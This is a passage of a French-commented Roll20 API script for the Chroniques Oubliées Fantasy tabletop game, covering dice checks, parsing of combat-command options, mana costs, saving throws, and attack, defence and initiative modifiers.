"ratée"); ligne += " ?"; addLineToFramedDisplay(display, ligne); evt.personnage = perso; evt.attenteResultat = true; } } addEvent(evt); sendChat('', endFramedDisplay(display)); }); } else { if (options.chance) options.bonus = options.chance * 10; testCaracteristique(perso, caracteristique, difficulte, options, evt, function(tr) { addLineToFramedDisplay(display, "<b>Résultat :</b> " + tr.texte); addEvent(evt); if (tr.reussite) { addLineToFramedDisplay(display, "C'est réussi."); } else { var msgRate = "C'est raté."; evt.personnage = perso; evt.action = { caracteristique: caracteristique, difficulte: difficulte, titre: titre, playerId: playerId, options: options }; evt.type = 'jetPerso'; var pc = attributeAsInt(perso, 'PC', 0); if (pc > 0) { options.roll = options.roll || tr.roll; msgRate += ' ' + bouton(perso, "!cof-bouton-chance " + evt.id, "Chance") + " (reste " + pc + " PC)"; } if (charAttributeAsBool(perso, 'runeDEnergie') && (caracteristique == 'FOR' || caracteristique == 'CON' || caracteristique == 'DEX')) { msgRate += ' ' + bouton(perso, "!cof-bouton-rune-energie " + evt.id, "Rune d'énergie"); } addLineToFramedDisplay(display, msgRate); } sendChat('', endFramedDisplay(display)); }); } } function jet(msg) { // Les arguments pour cof-jet sont : // - Caracteristique (FOR, DEX, CON, INT, SAG, CHA) // Les tokens sélectionnés sont ceux qui doivent faire le jet var opts = msg.content.split(' --'); var cmd = opts.shift().split(' '); if (cmd.length < 2) { error("Pas assez d'arguments pour !cof-jet: " + msg.content, cmd); return; } var caracteristique = cmd[1]; if (isNotCarac(caracteristique)) { error("Caracteristique '" + caracteristique + "' non reconnue (FOR, DEX, CON, INT, SAG, CHA).", cmd); return; } var difficulte; if (cmd.length > 2) { difficulte = parseInt(cmd[2]); if (isNaN(difficulte)) difficulte = undefined; } var options = { bonusAttrs: [] }; opts.forEach(function(o) { var args = o.split(' '); switch (args[0]) { case "nom": if (args.length < 2) { error("Il manque un argument à l'option " + args[0], opts); return; } options.nom = args[1]; options.bonusAttrs.push(args[1].toLowerCase()); return; case "attribut": if (args.length < 2) { error("Il manque un argument à l'option " + args[0], opts); return; } options.bonusAttrs.push(args[1]); return; case 'bonus': if (args.length < 2) { error("Il manque un argument à l'option " + args[0], opts); return; } var bonus = parseInt(args[1]); if (isNaN(bonus)) { error("Le bonus doit être un nombre", opts); return; } options.bonus = (options.bonus || 0) + bonus; return; } }); var titre = "Jet de <b>"; if (options.nom) titre += options.nom; else titre += caracOfMod(caracteristique); titre += "</b>"; if (options.bonus) titre += " (" + ((options.bonus > 0) ? '+' : '') + options.bonus + ")"; if (difficulte !== undefined) titre += " difficulté " + difficulte; getSelected(msg, function(selected) { if (selected.length === 0) { sendPlayer(msg, "!cof-jet sans sélection de token"); log("!cof-jet requiert de sélectionner des tokens"); return; } iterSelected(selected, function(perso) { jetPerso(perso, caracteristique, difficulte, titre, msg.playerid, options); }); //fin de iterSelected }); //fin de getSelected } function resultatJet(msg) { var args = msg.content.split(' '); if (args.length < 3) { error("La fonction !cof-resultat-jet n'a pas assez d'arguments", args); return; } var evt = findEvent(args[1]); if (evt === undefined) { error("Le jet est trop ancien ou éte annulé", args); return; } if (evt.personnage === undefined) { error("Erreur interne ", evt); return; } if (evt.attenteResultat) { var message = evt.type + " "; if (args[2] == 'rate') { diminueMalediction(evt.personnage, evt); message += "raté."; } else message += "réussi."; sendChar(evt.personnage.charId, message); evt.attenteResultat = undefined; } else { sendPlayer(msg, "Résultat déjà décidé"); } } //callback called on a object whose members are the allies function listeAllies(personnage, callback) { personnage.name = personnage.name || getObj('character', personnage.charId).get('name'); if (personnage.name === undefined) { error("Personnage sans nom", personnage); callback({}); return; } var result = {}; var toutesEquipes = findObjs({ _type: 'handout' }); toutesEquipes = toutesEquipes.filter(function(obj) { return (obj.get('name').startsWith("Equipe ")); }); var count = toutesEquipes.length; if (count === 0) { callback({}); return; } toutesEquipes.forEach(function(equipe) { equipe.get('notes', function(note) { //asynchrone var names = note.split('<br>'); if (names.indexOf(personnage.name) >= 0) { names.forEach(function(n) { result[n] = true; }); } count--; if (count === 0) callback(result); return; }); }); //end toutesEquipes.forEach //callback should be called now } function parseAttack(msg) { // Arguments to cof-attack should be: // - attacking token // - target token // - attack number (referring to the character sheet) // - some optional arguments, preceded by -- var optArgs = msg.content.split(" --"); var args = optArgs[0].split(" "); optArgs.shift(); if (args.length < 4) { error("Pas assez d'arguments pour !cof-attack: " + msg.content, args); return; } var attaquant = tokenOfId(args[1]); if (attaquant === undefined) { error("Le premier argument de !cof-attack n'est pas un token valide" + msg.content, args[1]); return; } var targetToken = getObj("graphic", args[2]); if (targetToken === undefined) { error("le second argument de !cof-attack doit être un token" + msg.content, args[2]); return; } var attackLabel = args[3]; // Optional arguments var options = { additionalDmg: [] }; var lastEtat; //dernier de etats et effets optArgs.forEach(function(arg) { arg = arg.trim(); var cmd = arg.split(" "); if (cmd.length === 0) cmd = [arg]; switch (cmd[0]) { case "auto": case "tempDmg": case "poudre": case "strigeSuce": case "semonce": case "pointsVitaux": case "pressionMortelle": case "reroll1": case "reroll2": case "tirDouble": case "tranchant": case "percant": case "contondant": case "m2d20": case "avecd12": case "traquenard": case "affute": case "vampirise": case "mainsDEnergie": case "tirDeBarrage": case "ignoreObstacles": case "enflamme": case "asDeLaGachette": case "sortilege": case "malediction": case "test": case "argent": case "pietine": case "tueurDeGeants": case "demiAuto": case "feinte": options[cmd[0]] = true; return; case "imparable"://deprecated options.m2d20 = true; return; case "magique": var niveauMagie = 1; if (cmd.length > 1) { niveauMagie = parseInt(cmd[1]); if (isNaN(niveauMagie) || niveauMagie < 1) { error("Le niveau de magie doit être au moins 1", cmd); niveauMagie = 1; } } options.magique = niveauMagie; return; case "si": options.conditionAttaquant = parseCondition(cmd.slice(1)); return; case "plus": if (cmd.length < 2) { sendChat("COF", "Il manque un argument à l'option --plus de !cof-attack"); return; } var val = arg.substring(arg.indexOf(' ') + 1); options.additionalDmg.push({ value: val }); break; case "effet": if (cmd.length < 3) { error("Il manque un argument à l'option --effet de !cof-attack", cmd); return; } if (!estEffetTemp(cmd[1])) { error(cmd[1] + " n'est pas un effet temporaire répertorié", cmd); return; } var duree; duree = parseInt(cmd[2]); if (isNaN(duree) || duree < 1) { error( "Le deuxième argument de --effet doit être un nombre positif", cmd); return; } options.effets = options.effets || []; lastEtat = { effet: cmd[1], duree: duree }; options.effets.push(lastEtat); return; case "etatSi": case "etat": if (cmd.length < 3 && cmd[0] == 'etatSi') { error("Il manque un argument à l'option --etatSi de !cof-attack", cmd); return; } else if (cmd.length < 2) { error("Il manque un argument à l'option --etat de !cof-attack", cmd); return; } var etat = cmd[1]; if (!_.has(cof_states, etat)) { error("Etat non reconnu", cmd); return; } var condition = 'toujoursVrai'; if (cmd[0] == 'etatSi') { condition = parseCondition(cmd.slice(2)); if (condition === undefined) return; } options.etats = options.etats || []; lastEtat = { etat: etat, condition: condition }; options.etats.push(lastEtat); return; case "peur": if (cmd.length < 3) { error("Il manque un argument à l'option --peur de !cof-attack", cmd); return; } options.peur = { seuil: parseInt(cmd[1]), duree: parseInt(cmd[2]) }; if (isNaN(options.peur.seuil)) { error("Le premier argument de --peur doit être un nombre (le seuil)", cmd); } if (isNaN(options.peur.duree) || options.peur.duree <= 0) { error("Le deuxième argument de --peur doit être un nombre positif (la durée)", cmd); } return; case "feu": case "froid": case "acide": case "electrique": case "sonique": case "poison": case "maladie": var l = options.additionalDmg.length; if (l > 0) { options.additionalDmg[l - 1].type = cmd[0]; } else { options.type = cmd[0]; } break; case "sournoise": case "de6Plus": //deprecated if (cmd.length < 2) { sendChat("COF", "Il manque un argument à l'option --sournoise de !cof-attack"); return; } options.sournoise = parseInt(cmd[1]); if (isNaN(options.sournoise) || options.sournoise < 0) { error("L'option --sournoise de !cof-attack attend un argument entier positif", cmd); return; } break; case "fx": if (cmd.length < 2) { sendChat("COF", "Il manque un argument à l'option --fx de !cof-attack"); return; } options.fx = cmd[1]; break; case "targetFx": if (cmd.length < 2) { sendChat("COF", "Il manque un argument à l'option --targetFx de !cof-attack"); return; } options.targetFx = cmd[1]; break; case 'psave': var psaveopt = options; if (cmd.length > 3 && cmd[3] == 'local') { var psavel = options.additionalDmg.length; if (psavel > 0) { psaveopt = options.additionalDmg[psavel - 1]; } } var psaveParams = parseSave(cmd); if (psaveParams) { psaveopt.partialSave = psaveParams; psaveopt.attaquant = attaquant; } return; case 'save': if (lastEtat) { if (lastEtat.save) { error("Redéfinition de la condition de save pour un effet", optArgs); } var saveParams = parseSave(cmd); if (saveParams) { lastEtat.save = saveParams; return; } return; } error("Pas d'effet auquel appliquer le save", optArgs); return; case 'saveParTour': if (lastEtat) { if (lastEtat.saveParTour) { error("Redéfinition de la condition de save pour un effet", optArgs); } var saveParTourParams = parseSave(cmd); if (saveParTourParams) { lastEtat.saveParTour = saveParTourParams; return; } return; } error("Pass d'effet auquel appliquer le save", optArgs); return; case "mana": if (cmd.length < 2) { error("Usage : --mana coût", cmd); return; } var mana = parseInt(cmd[1]); if (isNaN(mana) || mana < 1) { error("Le coût en mana doit être un nombre positif"); return; } options.mana = mana; break; case "bonusAttaque": case "bonusContreBouclier": case "bonusCritique": if (cmd.length < 2) { error("Usage : --" + cmd[0] + " b", cmd); return; } var bAtt = parseInt(cmd[1]); if (isNaN(bAtt)) { error("Le bonus (" + cmd[0] + ") doit être un nombre"); return; } options[cmd[0]] = bAtt; return; case "puissant": if (cmd.length < 2) { options.puissant = true; return; } switch (cmd[1]) { case 'oui': case 'Oui': options.puissant = true; return; case 'non': case 'Non': options.puissant = false; return; default: options.puissant = attributeAsBool(attaquant, cmd[1] + "Puissant"); } return; case "rate": case "touche": case "critique": case "echecCritique": if (options.triche === undefined) { options.triche = cmd[0]; } else { error("Option incompatible", optArgs); } return; case 'munition': if (cmd.length < 2) { error("Pour les munitions, il faut préciser le nom", cmd); return; } var tauxPertes = 100; //Par défaut, les munitions sont perdues if (cmd.length > 2) tauxPertes = parseInt(cmd[2]); if (isNaN(tauxPertes) || tauxPertes < 0 || tauxPertes > 100) { error("Le taux de pertes des munitions doit être un nombre entre 0 et 100"); tauxPertes = 100; } options.munition = { nom: cmd[1], taux: tauxPertes }; return; case "ligne": if (options.aoe) { error("Deux options pour définir une aoe", args); return; } options.aoe = { type: 'ligne' }; return; case "disque": if (options.aoe) { error("Deux options pour définir une aoe", args); return; } if (cmd.length < 2) { error("Il manque le rayon du disque", cmd); return; } options.aoe = { type: 'disque', rayon: parseInt(cmd[1]) }; if (isNaN(options.aoe.rayon) || options.aoe.disque < 0) { error("le rayon du disque n'est pas un nombre positif", cmd); options.aoe = undefined; } return; case "cone": if (options.aoe) { error("Deux options pour définir une aoe", args); return; } var angle = 90; if (cmd.length > 1) { angle = parseInt(cmd[1]); if (isNaN(angle) || angle < 0 || angle > 360) { error("Paramètre d'angle du cone incorrect", cmd); angle = 90; } } options.aoe = { type: 'cone', angle: angle }; return; case 'target': if (cmd.length < 2) { error("Il manque l'id de la cible", cmd); return; } var targetS = tokenOfId(cmd[1]); if (targetS === undefined) { error("Cible supplémentaire invalide", cmd); return; } if (targetToken.id == targetS.token.id) return; targetS.tokName = targetS.token.get('name'); options.ciblesSupplementaires = options.ciblesSupplementaires || []; options.ciblesSupplementaires.push(targetS); return; case 'limiteParJour': if (cmd.length < 2) { error("Il manque la limite journalière", cmd); return; } var limiteParJour = parseInt(cmd[1]); if (isNaN(limiteParJour) || limiteParJour < 1) { error("La limite journalière doit être un nombre positif", cmd); return; } options.limiteParJour = limiteParJour; if (cmd.length > 2) { options.limiteParJourRessource = cmd[2]; } return; case 'limiteParCombat': if (cmd.length < 2) { options.limiteParCombat = 1; return; } var limiteParCombat = parseInt(cmd[1]); if (isNaN(limiteParCombat) || limiteParCombat < 1) { error("La limite par combat doit être un nombre positif", cmd); return; } options.limiteParCombat = limiteParCombat; if (cmd.length > 2) { options.limiteParCombatRessource = cmd[2]; } return; case 'decrAttribute': if (cmd.length < 2) { error("Erreur interne d'une commande générée par bouton", cmd); return; } var attr = getObj('attribute', cmd[1]); if (attr === undefined) { log("Attribut à changer perdu"); log(cmd); return; } options.decrAttribute = attr; return; case "incrDmgCoef": options.dmgCoef = (options.dmgCoef || 1); if (cmd.length > 1) { var incrDmgCoef = parseInt(cmd[1]); if (isNaN(incrDmgCoef)) { error("L'option --incrDmgCoef attend un entier", cmd); return; } options.dmgCoef += incrDmgCoef; return; } options.dmgCoef++;//Par défaut, incrémente de 1 return; default: sendChat("COF", "Argument de !cof-attack '" + arg + "' non reconnu"); } }); attack(msg.playerid, attaquant, targetToken, attackLabel, options); } function sendPlayer(origin, msg) { var dest = origin; if (origin.who) { if (playerIsGM(origin.playerid)) dest = 'GM'; else dest = origin.who; } sendChat('COF', '/w "' + dest + '" ' + msg); } function sendChar(charId, msg) { var dest = ''; if (charId) dest = 'character|' + charId; sendChat(dest, msg); } // Fait dépenser de la mana, et si pas possible, retourne false function depenseMana(personnage, cout, msg, evt) { var token = personnage.token; var charId = personnage.charId; var manaAttr = findObjs({ _type: 'attribute', _characterid: charId, name: 'PM' }); var hasMana = false; if (manaAttr.length > 0) { var manaMax = parseInt(manaAttr[0].get('max')); hasMana = !isNaN(manaMax) && manaMax > 0; } if (hasMana) { var bar2 = parseInt(token.get("bar2_value")); if (isNaN(bar2)) bar2 = 0; if (bar2 < cout) { msg = msg || ''; sendChar(charId, " n'a pas assez de points de mana pour " + msg); return false; } evt.affectes = evt.affectes || []; evt.affectes.push({ affecte: token, prev: { bar2_value: bar2 } }); updateCurrentBar(token, 2, bar2 - cout); return true; } sendChar(charId, " n'a pas de points de mana, action impossible"); return false; } function parseSave(cmd) { if (cmd.length < 3) { error("Usage : --psave carac seuil", cmd); return; } var carac1; var carac2; if (cmd[1].length == 3) { carac1 = cmd[1]; if (isNotCarac(cmd[1])) { error("Le premier argument de save n'est pas une caractéristique", cmd); return; } } else if (cmd[1].length == 6) { //Choix parmis 2 caracs carac1 = cmd[1].substr(0, 3); carac2 = cmd[1].substr(3, 3); if (isNotCarac(carac1) || isNotCarac(carac2)) { error("Le premier argument de save n'est pas une caractéristique", cmd); return; } } else { error("Le premier argument de save n'est pas une caractéristique", cmd); return; } var res = { carac: carac1, carac2: carac2, seuil: parseInt(cmd[2]) }; if (isNaN(res.seuil)) { error("Le deuxième argument de --psave n'est pas un nombre", cmd); return; } return res; } function parseCondition(args) { if (args.length < 2) { error("condition non reconnue", args); return undefined; } switch (args[0]) { case "etat": if (_.has(cof_states, args[1])) { return { type: 'etat', etat: args[1], text: args[1] }; } return { type: 'attribut', attribute: args[1], text: args[1] }; case "deAttaque": var valeurDeAttaque = parseInt(args[1]); if (isNaN(valeurDeAttaque)) { error("La condition de dé d'attaque doit être un nombre", args); // on continue exprès pour tomber dans le cas par défaut } else { return { type: 'deAttaque', seuil: valeurDeAttaque, text: args[1] }; } /* falls through */ default: return { type: args[0], attribute: args[1], text: args[1] }; } } function testCondition(cond, attaquant, cibles, deAttaque) { if (cond == 'toujoursVrai') return true; switch (cond.type) { case "moins": var attackerAttr = charAttributeAsInt(attaquant.charId, cond.attribute, 0); var resMoins = true; cibles.forEach(function(target) { if (resMoins) { var targetAttr = charAttributeAsInt(target.charId, cond.attribute, 0); if (targetAttr >= attackerAttr) resMoins = false; } }); return resMoins; case "etat": return (getState(attaquant, cond.etat)); case "attribut": return (charAttributeAsBool(attaquant.charId, cond.attribute)); case "deAttaque": if (deAttaque === undefined) { error("Condition de dé d'attque non supportée ici", cond); return true; } if (deAttaque < cond.seuil) return false; return true; default: error("Condition non reconnue", cond); } return false; } // bonus d'attaque d'un token, indépendament des options // Mise en commun pour attack et attaque-magique function bonusDAttaque(personnage, explications, evt) { explications = explications || []; var charId = personnage.charId; var tempAttkMod; // Utilise la barre 3 de l'attaquant tempAttkMod = parseInt(personnage.token.get("bar3_value")); if (tempAttkMod === undefined || isNaN(tempAttkMod) || tempAttkMod === "") { tempAttkMod = 0; } var attBonus = tempAttkMod; var fortifie = attributeAsInt(personnage, 'fortifie', 0); if (fortifie > 0) { attBonus += 3; fortifie--; explications.push("Effet du fortifiant => +3 en Attaque. Il sera encore actif pour " + fortifie + " tests"); if (fortifie === 0) { removeTokenAttr(personnage, 'fortifie', evt); } else { setTokenAttr(personnage, 'fortifie', fortifie, evt); } } attBonus += charAttributeAsInt(charId, 'actionConcertee', 0); if (attributeAsBool(personnage, 'chant_des_heros')) { attBonus += 1; explications.push("Chant des héros => +1 en Attaque"); } if (attributeAsBool(personnage, 'benediction')) { attBonus += 1; explications.push("Bénédiction => +1 en Attaque"); } if (attributeAsBool(personnage, 'strangulation')) { var malusStrangulation = 1 + attributeAsInt(personnage, 'dureeStrangulation', 0); attBonus -= malusStrangulation; explications.push("L'attaquant est étranglé => -" + malusStrangulation + " en Attaque"); } if (getState(personnage, 'renverse')) { attBonus -= 5; explications.push("Attaquant à terre => -5 en Attaque"); } var attrPosture = tokenAttribute(personnage, 'postureDeCombat'); if (attrPosture.length > 0) { attrPosture = attrPosture[0]; var posture = attrPosture.get('max'); var postureVal; if (posture.startsWith('ATT')) { postureVal = parseInt(attrPosture.get('current')); attBonus -= postureVal; explications.push("Posture de combat => -" + postureVal + " en Attaque"); } else if (posture.endsWith('ATT')) { postureVal = parseInt(attrPosture.get('current')); attBonus += postureVal; explications.push("Posture de combat => +" + postureVal + " en Attaque"); } } if (attributeAsBool(personnage, 'danseIrresistible')) { attBonus -= 4; explications.push("En train de danser => -4 en Attaque"); } if (aUnCapitaine(personnage, evt)) { attBonus += 2; explications.push("Un capitaine donne des ordres => +2 en Attaque"); } if (attributeAsBool(personnage, 'forceDeGeant')) { attBonus += 2; explications.push("Force de géant => +2 en Attaque"); } if (attributeAsBool(personnage, 'nueeDInsectes')) { attBonus -= 2; explications.push("Nuée d’insectes => -2 en Attaque"); } if (attributeAsBool(personnage, 'etatExsangue')) { attBonus -= 2; explications.push("Exsangue => -2 en Attaque"); } if (attributeAsBool(personnage, 'armeBrulante')) { attBonus -= 2; explications.push("Arme brûlante => -2 en Attaque"); } if (attributeAsBool(personnage, 'marcheSylvestre')) { attBonus += 2; explications.push("Marche sylvestre : +2 en Attaque"); } if (attributeAsBool(personnage, 'prisonVegetale')) { attBonus -= 2; explications.push("Prison végétale : -2 en Attaque"); } if (attributeAsBool(personnage, 'masqueDuPredateur')) { var bonusMasque = modCarac(personnage, 'SAGESSE'); attBonus += bonusMasque; explications.push("Masque du prédateur : +" + bonusMasque + " en Attaque et DM"); } if (attributeAsBool(personnage, 'rageDuBerserk')) { attBonus += 2; explications.push("Rage du berserk : +2 en Attaque et +1d6 aux DM"); } return attBonus; } function rollNumber(s) { return parseInt(s.substring(3, s.indexOf(']'))); } function getAttack(attackLabel, tokName, charId) { // Get attack number (does not correspond to the position in sheet !!!) var attackNumber = 0; var attPrefix, weaponName; while (true) { attPrefix = "repeating_armes_$" + attackNumber + "_"; weaponName = getAttrByName(charId, attPrefix + "armenom"); if (weaponName === undefined || weaponName === "") { error("Arme " + attackLabel + " n'existe pas pour " + tokName, charId); return; } var weaponLabel = weaponName.split(' ', 1)[0]; if (weaponLabel == attackLabel) { weaponName = weaponName.substring(weaponName.indexOf(' ') + 1); return { attackPrefix: attPrefix, weaponName: weaponName }; } attackNumber++; } } function surveillance(personnage) { var surveillance = findObjs({ _type: 'attribute', _characterid: personnage.charId, name: 'surveillance' }); if (surveillance.length > 0) { var compagnon = surveillance[0].get('current'); var compToken = findObjs({ _type: 'graphic', _subtype: 'token', _pageid: personnage.token.get('pageid'), layer: 'objects', name: compagnon }); var compagnonPresent = false; compToken.forEach(function(tok) { var compCharId = tok.get('represents'); if (compCharId === '') return; if (isActive({ token: tok, charId: compCharId })) compagnonPresent = true; return; }); return compagnonPresent; } return false; } function tokenInit(perso, evt) { var persoMonte = tokenAttribute(perso, 'estMontePar'); if (persoMonte.length > 0) { var cavalier = tokenOfId(persoMonte[0].get('current'), persoMonte[0].get('max'), perso.token.get('pageid')); if (cavalier !== undefined) return tokenInit(cavalier, evt); } var charId = perso.charId; var init = parseInt(getAttrByName(charId, 'DEXTERITE')); init += charAttributeAsInt(perso, 'INIT_DIV', 0); if (getState(perso, 'aveugle')) init -= 5; // Voie du compagnon animal rang 2 (surveillance) if (surveillance(perso)) init += 5; // Voie du chef d'armée rang 2 (Capitaine) if (aUnCapitaine(perso, evt)) init += 2; if (charAttributeAsBool(perso, 'graceFeline')) { init += modCarac(perso, 'CHARISME'); } if (attributeAsBool(perso, 'masqueDuPredateur')) { init += modCarac(perso, 'SAGESSE'); } // Voie du pistolero rang 1 (plus vite que son ombre) attributesInitEnMain(charId).forEach(function(em) { var armeL = labelInitEnMain(em); if (charAttributeAsInt(charId, "charge_" + armeL, 0) > 0) { var initBonus = parseInt(em.get('current')); if (isNaN(initBonus) || initBonus < 0) { error("initBonusEnMain incorrect :" + initBonus, em); return; } init += initBonus; } }); return init; } //fonction avec callback, mais synchrone function soigneToken(perso, soins, evt, callTrue, callMax) { var token = perso.token; var bar1 = parseInt(token.get("bar1_value")); var pvmax = parseInt(token.get("bar1_max")); if (isNaN(bar1) || isNaN(pvmax)) { error("Soins sur un token sans points de vie", token); return; } if (bar1 >= pvmax) { if (callMax) callMax(); return; } if (soins < 0) soins = 0; if (evt.affectes === undefined) evt.affectes = []; evt.affectes.push({ affecte: token, prev: { bar1_value: bar1 } }); if (bar1 === 0) { if (attributeAsBool(perso, 'etatExsangue')) { removeTokenAttr(perso, 'etatExsangue', evt, "retrouve des couleurs"); } } if (attributeAsBool(perso, 'vieArtificielle')) { soins = Math.floor(soins / 2); } bar1 += soins; var soinsEffectifs = soins; if (bar1 > pvmax) { soinsEffectifs -= (bar1 - pvmax); bar1 = pvmax; } updateCurrentBar(token, 1, bar1); if (callTrue) callTrue(soinsEffectifs); } //asynchrone pour avoir les alliés (pour le combat en phalange) function defenseOfToken(attaquant, target, pageId, evt, options, callback) { options = options || {}; var tokenName = target.tokName; var explications = target.messages; var defense = 10; if (target.defautCuirasse === undefined) { defense += charAttributeAsInt(target, 'DEFARMURE', 0) * charAttributeAsInt(target, 'DEFARMUREON', 1); defense += charAttributeAsInt(target, 'DEFBOUCLIER', 0) * charAttributeAsInt(target, 'DEFBOUCLIERON', 1); if (attributeAsBool(target, 'armureDuMage')) { if (defense > 12) defense += 2; // On a déjà une armure physique, ça ne se cumule pas. else defense += 4; } defense += charAttributeAsInt(target, 'DEFDIV', 0); } // Dans le cas contraire, on n'utilise pas ces bonus defense += modCarac(target, 'DEXTERITE'); // Malus de défense global pour les longs combats if (DEF_MALUS_APRES_TOUR_5) defense -= (Math.floor((state.COFantasy.tour - 1) / 5) * 2); // Autres modificateurs de défense defense += attributeAsInt(target, 'defenseTotale', 0); defense += attributeAsInt(target, 'pacifisme', 0); if (attributeAsBool(target, 'peau_d_ecorce')) { defense += charAttributeAsInt(target, 'voieDesVegetaux', 0); } if (getState(target, 'surpris')) defense -= 5; if (getState(target, 'renverse')) defense -= 5; if (getState(target, 'aveugle')) defense -= 5; if (getState(target, 'etourdi') || attributeAsBool(target, 'peurEtourdi')) defense -= 5; defense += attributeAsInt(target, 'bufDEF', 0); defense += attributeAsInt(target, 'actionConcertee', 0); if (charAttributeAsInt(target, 'DEFARMUREON', 1) === 0) { defense += charAttributeAsInt(target, 'vetementsSacres', 0); defense += charAttributeAsInt(target, 'armureDeVent', 0); if (!options.distance) defense += charAttributeAsInt(target, 'dentellesEtRapiere', 0); } if (charAttributeAsBool(target, 'graceFeline')) { defense += modCarac(target, 'CHARISME'); } var attrsProtegePar = findObjs({ _type: 'attribute', _characterid: target.charId, }); attrsProtegePar.forEach(function(attr) { var attrName = attr.get('name'); if (attrName.startsWith('protegePar_')) { var nameProtecteur = attr.get('max'); if (attr.get('bar1_link') === '') { if (attrName != 'protegePar_' + nameProtecteur + '_' + tokenName) return; } else if (attrName != 'protegePar_' + nameProtecteur) return; var protecteur = tokenOfId(attr.get('current'), nameProtecteur, pageId); if (protecteur === undefined) { removeTokenAttr(target, 'protegePar_' + nameProtecteur, evt); sendChar(target.charId, "ne peut pas être protégé par " + nameProtecteur + " car aucun token le représentant n'est sur la page"); return; } if (!isActive(protecteur)) { explications.push(nameProtecteur + " n'est pas en état de protéger " + tokenName); return; } var distTargetProtecteur = distanceCombat(target.token, protecteur.token, pageId); if (distTargetProtecteur > 0) { explications.push(nameProtecteur + " est trop loin de " + tokenName + " pour le protéger"); return; } if (charAttributeAsInt(protecteur.charId, 'DEFBOUCLIERON', 1) === 0) { var sujet = onGenre(protecteur.charId, 'il', 'elle'); explications.push(nameProtecteur + " ne porte pas son bouclier, " + sujet + " ne peut pas proteger " + tokenName); return; } var defBouclierProtecteur = charAttributeAsInt(protecteur.charId, 'DEFBOUCLIER', 0); defense += defBouclierProtecteur; explications.push(nameProtecteur + " protège " + tokenName + " de son bouclier (+" + defBouclierProtecteur + "DEF)"); } }); var attrPosture = tokenAttribute(target, 'postureDeCombat'); if (attrPosture.length > 0) { attrPosture = attrPosture[0]; var posture = attrPosture.get('max'); var postureVal; if (posture.startsWith('DEF')) { postureVal = parseInt(attrPosture.get('current')); defense -= postureVal; explications.push("Posture de combat => -" + postureVal + " DEF"); } else if (posture.endsWith('DEF')) { postureVal = parseInt(attrPosture.get('current')); defense += postureVal; explications.push("Posture de combat => +" + postureVal + " DEF"); } } var instinctSurvie = charAttributeAsInt(target, 'instinctDeSurvie', 0); if (instinctSurvie > 0 && target.token.get('bar1_value') <= instinctSurvie) defense += 5; if (attributeAsBool(target, 'danseIrresistible')) { defense -= 4; explications.push("En train de danser => -4 DEF"); } if (options.sortilege) defense += charAttributeAsInt(target.charId, 'DEF_magie', 0); if (attributeAsBool(target, 'marcheSylvestre')) { defense += 2; explications.push("Marche sylvestre => +2 DEF"); } if (attributeAsBool(target, 'prisonVegetale')) { defense -= 2; explications.push("Prison végétale => -2 DEF"); } if (attributeAsBool(target, 'protectionContreLeMal') && estMauvais(attaquant)) { defense += 2; explications.push("Protection contre le mal => +2 DEF"); } if (attributeAsBool(target, 'rageDuBerserk')) { defense -= 4; explications.push("Rage du berserk => -4 DEF"); } var combatEnPhalange = charAttributeAsBool(target, 'combatEnPhalange'); if (combatEnPhalange || attributeAsBool(target, 'esquiveFatale')) { listeAllies(target, function(allies) { var tokensContact = findObjs({ _type: 'graphic', _subtype: "token", _pageid: pageId, layer: 'objects' }); tokensContact = tokensContact.filter(function(tok) { if (tok.id == target.token.id) return false; if (distanceCombat(target.token, tok, pageId) === 0) return true; return false; }); var tokensAllies = []; var tokensEnnemis = []; tokensContact.forEach(function(tok) { var ci = tok.get('represents'); if (ci === '') return; //next token au contact var ch = getObj('character', ci); if (ch === undefined) return; if (!isActive({ token: tok, charId: ci })) return; var n = ch.get('name'); if (n === undefined) return; if (allies[n]) tokensAllies.push(tok); else tokensEnnemis.push(tok); }); target.ennemisAuContact = tokensEnnemis; if (combatEnPhalange) { var defensePhalange = 0; tokensEnnemis.forEach(function(tokE) { var alliesAuContact = tokensAllies.filter(function(tokA) { if (distanceCombat(tokE, tokA, pageId) === 0) return true; return false; }); if (alliesAuContact.length > defensePhalange) defensePhalange = alliesAuContact.length; }); if (defensePhalange > 0) { defense += defensePhalange; explications.push("Combat en phalange => +" + defensePhalange + " DEF"); } } callback(defense); }); //fin listeAllies } else callback(defense); } //Bonus en Attaque qui ne dépendent pas du défenseur function bonusAttaqueA(attaquant, name, weaponName, evt, explications, options) { var attBonus = 0; if (options.bonusAttaque) attBonus += options.bonusAttaque; attBonus += bonusDAttaque(attaquant, explications, evt); if (getState(attaquant, 'aveugle')) { if (options.distance) { if (charAttributeAsBool(attaquant, 'tirAveugle')) { explications.push("Attaquant aveuglé, mais il sait tirer à l'aveugle"); } else { attBonus -= 10; explications.push("Attaquant aveuglé => -10 en Attaque à distance"); } } else { attBonus -= 5; explications.push("Attaquant aveuglé => -5 en Attaque"); } } if (options.tirDouble) { attBonus += 2; explications.push(name + " tire avec 2 " + weaponName + "s à la fois !"); } if (options.chance) { attBonus += options.chance; var pc = options.chance / 10; explications.push(pc + " point" + ((pc > 1) ? "s" : "") + " de chance dépensé => +" + options.chance + " en Attaque"); } if (options.semonce) { attBonus += 5; } if (attributeAsBool(attaquant, 'baroudHonneurActif')) { attBonus += 5; explications.push(name + " porte une dernière attaque et s'effondre"); mort(attaquant, evt); removeTokenAttr(attaquant, 'baroudHonneurActif', evt); } if (options.sortilege && attributeAsBool(attaquant, 'zoneDeSilence')) { attBonus -= 2; explications.push("Zone de silence => -2 en Attaque Magique"); } if (!options.distance && (attributeAsBool(attaquant, 'aCheval') || attributeAsBool(attaquant, 'monteSur'))) { attBonus += charAttributeAsInt(attaquant, 'cavalierEmerite'); explications.push("A cheval => +2 en Attaque"); } if (options.frappeDuVide) { attBonus += 2; explications.push("Frappe du vide => +2 en Attaque et +1d6 DM"); } return attBonus; } //Bonus d'attaque qui dépendent de la cible // si options.aoe, target doit avoir un champ tokName // asynchrone pour pouvoir tenir compte des alliés (pour le combat en phalange) function bonusAttaqueD(attaquant, target, portee, pageId, evt, explications, options, callback) { var attackingCharId = attaquant.charId; attaquant.tokName = attaquant.tokName || attaquant.token.get('name'); var attackerTokName = attaquant.tokName; var attBonus = 0; if (options.mainsDEnergie) { if (options.aoe) error("Mains d'énergie n'est pas compatible avec les AOE", options.aoe); // Check if target wears armor var targetArmorDef = parseInt(getAttrByName(target.charId, "DEFARMURE")); if (isNaN(targetArmorDef) || targetArmorDef === 0) { attBonus += 2; explications.push("Mains d'énergie => +2 en Attaque (cible sans armure)"); } else { var bonusMain = Math.min(5, 2 + targetArmorDef); attBonus += bonusMain; explications.push("Mains d'énergie => +" + bonusMain + " en Attaque"); } } if (options.aoe === 